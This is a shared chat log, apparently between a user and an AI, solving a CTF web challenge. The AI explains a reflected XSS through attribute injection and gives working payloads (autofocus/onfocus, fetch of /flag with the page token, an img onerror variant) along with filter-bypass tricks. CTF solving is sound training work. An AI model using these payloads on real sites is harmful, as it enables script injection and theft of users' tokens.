分析这道CTF web题目: Web 100-2 This Must Be the Place100...

創建於:2025年11月3日

使用 GPT-5 Thinking 回答 Chat01

問題

分析这道CTF web题目:
Web 100-2 This Must Be the Place100 Points
A naïve developer tried to be helpful and filtered out a few characters — but filters are not enough. Find a way to get the site to run JavaScript in your browser and use it to read the flag. The flag is only available via a same-origin fetch to /flag.
网页源码为:

<!doctype html> <html lang="en"> <head><meta charset="utf-8"><title>This Must Be the Place</title></head> <body style="font-family: system-ui, sans-serif; padding: 1rem;"> <h1>Exhibit Search</h1> <form method="get" action="/"> <label for="name">Search name:</label> <input id="name" name="name" value="" /> <button type="submit">Search</button> </form> <h2>Results</h2> <div id="results"> </div> <!-- Expose the per-page token to same-origin JS (XSS in page can read it) --> <script>window.FLAG_TOKEN = "jIjQrSsojVxHQsCXNwsJ9Q";</script> </body> </html> 同时我发现window.FLAG_TOKEN随时都在变换,结合提示 <!-- Expose the per-page token to same-origin JS (XSS in page can read it) -->继续分析

Python

python
import urllib.parse payload1 = '" autofocus onfocus="location=\'/flag?token=\'+window.FLAG_TOKEN" x="' payload2 = '" autofocus onfocus="fetch(\'/flag?token=\'+window.FLAG_TOKEN).then(r=>r.text()).then(t=>alert(t))" x="' payload3 = '" autofocus onfocus="(async()=>{const u=\'/flag?token=\'+encodeURIComponent(window.FLAG_TOKEN);const r=await fetch(u);document.getElementById(\'results\').textContent=await r.text();})();" x="' print("Payload1:", payload1) print("URL-encoded 1:", urllib.parse.quote(payload1, safe='')) print("\nPayload2:", payload2) print("URL-encoded 2:", urllib.parse.quote(payload2, safe='')) print("\nPayload3:", payload3) print

Python

python
import urllib.parse payload2 = '" autofocus onfocus="fetch(\'/flag?token=\'+window.FLAG_TOKEN).then(r=>r.text()).then(t=>alert(t))" x="' print(urllib.parse.quote(payload2, safe=''))

思考

Handling filter bypasses

The goal is to show a working injection pattern but without overwhelming with long encoded strings—just one example payload will do. If quotes are filtered, I can switch to single quotes, or if both are allowed, I can still bypass with whitespaces for attributes. I’ll suggest further alternatives for more restrictive filters, including using formaction.

Bypassing filters in injections

We can address cases when "on" is filtered by using o\u006efocus in Unicode escape form, but dynamically triggering JavaScript through accesskey can also work. It’s tricky if filters block <, so using an img tag with an error event or a <svg> tag might bypass this restriction, depending on what’s allowed. I’ll focus on step-by-step logical ways to reproduce these behaviors.

Providing the final answer

I’ll provide a clear and structured explanation, focusing on the general approach, vulnerability location (input value/Results area), and payload examples in Chinese. The plan includes stable payloads for flag retrieval (using redirect vs fetch/alert), methods for bypassing filters, and concise notes on token usage in the page context. I won’t include any clarifications, as requested.

Thought for 2m 38s

回答

思路很直接:拿到一个可执行的 XSS,在同一页里读 window.FLAG_TOKEN,再用它去访问同源的 /flag。因为这个 token 每次刷新都会变,而且只暴露在当前页面的 JS 里(源码里已经写明了:<!-- Expose the per-page token to same-origin JS -->),所以必须在注入成功的这一页里读取 token,不能提前构造固定链接。

下面给你一套稳定的打法,假设服务端把查询参数 name 直接写回到了这个输入框的 value 里(典型“搜索框回显”):

html
<input id="name" name="name" value="<-- 这里插入你的输入 -->" />

很多“天真过滤”只会黑名单掉 <> 或者 <script> 之类,但属性注入根本不需要再写新的标签;只要能打断 value="..." 的引号,我们就能在现有的 <input> 上塞入新属性。利用 autofocus + onfocus 可以无用户交互自动触发

一条能直接拿 Flag 的 payload(属性注入)

原始(便于理解):

" autofocus onfocus="location='/flag?token='+window.FLAG_TOKEN" x="

作用:

  1. 先用 " 结束 value
  2. autofocus 让浏览器加载后自动聚焦该输入框;
  3. onfocus 在聚焦瞬间执行 JS,把页面直接跳转/flag?token=<当前页面的 FLAG_TOKEN>
  4. 这样你浏览器就会打开 flag 页(同源),直接看到 flag 内容。

URL 编码后的形式(放在 ?name= 后面即可):

%22%20autofocus%20onfocus%3D%22location%3D%27%2Fflag%3Ftoken%3D%27%2Bwindow.FLAG_TOKEN%22%20x%3D%22

完整 PoC 示例:
https://目标站点/?name=%22%20autofocus%20onfocus%3D%22location%3D%27%2Fflag%3Ftoken%3D%27%2Bwindow.FLAG_TOKEN%22%20x%3D%22

这条 payload 的好处是——不需要 fetch()、不需要括号;很多题目会把括号或 fetchonerror 之类也过滤掉,直接 location=... 最稳。

如果你更想“读出后展示/上报”而不是跳转

location=... 换成 fetch 也行(有些赛题的 /flag 只允许 fetch,而不是导航):

原始:

text
" autofocus onfocus="fetch('/flag?token='+window.FLAG_TOKEN) .then(r=>r.text()).then(t=>{document.querySelector('#results').textContent=t})" x="

URL 编码(缩写成一行后再编码即可):

%22%20autofocus%20onfocus%3D%22fetch%28%27%2Fflag%3Ftoken%3D%27%2Bwindow.FLAG_TOKEN%29.then%28r%3D%3Er.text%28%29%29.then%28t%3D%3E%7Bdocument.querySelector%28%27%23results%27%29.textContent%3Dt%7D%29%22%20x%3D%22

也可以把最后一步换成 alert(t),看个人喜好。

为什么“过滤少量字符”拦不住

  • 属性注入不需要 </>。我们只是结束现有属性的引号,然后添加新的合法属性(autofocus/onfocus),浏览器正常解析并执行。
  • 若只拦 <script>onerror 等关键字,这个方案仍然有效,因为用到的是 onfocus,而不是那些常见黑名单项。
  • Token 每页都变,XSS 代码必须在注入成功的那一页里去读 window.FLAG_TOKEN。离开该页或先行构造固定链接都无效。

小技巧/备选

  • 如果双引号被过滤,尝试单引号闭合
    ' autofocus onfocus='location="/flag?token="+window.FLAG_TOKEN' x='
    
  • 如果把 on... 黑了,但你的输入还会被插进页面其他位置(比如 #results 里用 innerHTML 渲染),可以换元素注入(需要能打出 <):
    <img src=x onerror="location='/flag?token='+window.FLAG_TOKEN">
    
  • 真把括号也过滤了,可以继续用 location= 这种无括号的写法;或者用模板字符串:
    onfocus="location=`/flag?token=${window.FLAG_TOKEN}`"
    

总之,这题的关键是用属性注入 + 自动触发事件拿到执行权,然后在同源上下文里读 window.FLAG_TOKEN 并访问 /flag。上面的第一条 payload(autofocus + onfocus + location)在这类“只过滤了少数字符”的场景里非常通杀。祝你拿分!

分享這個問答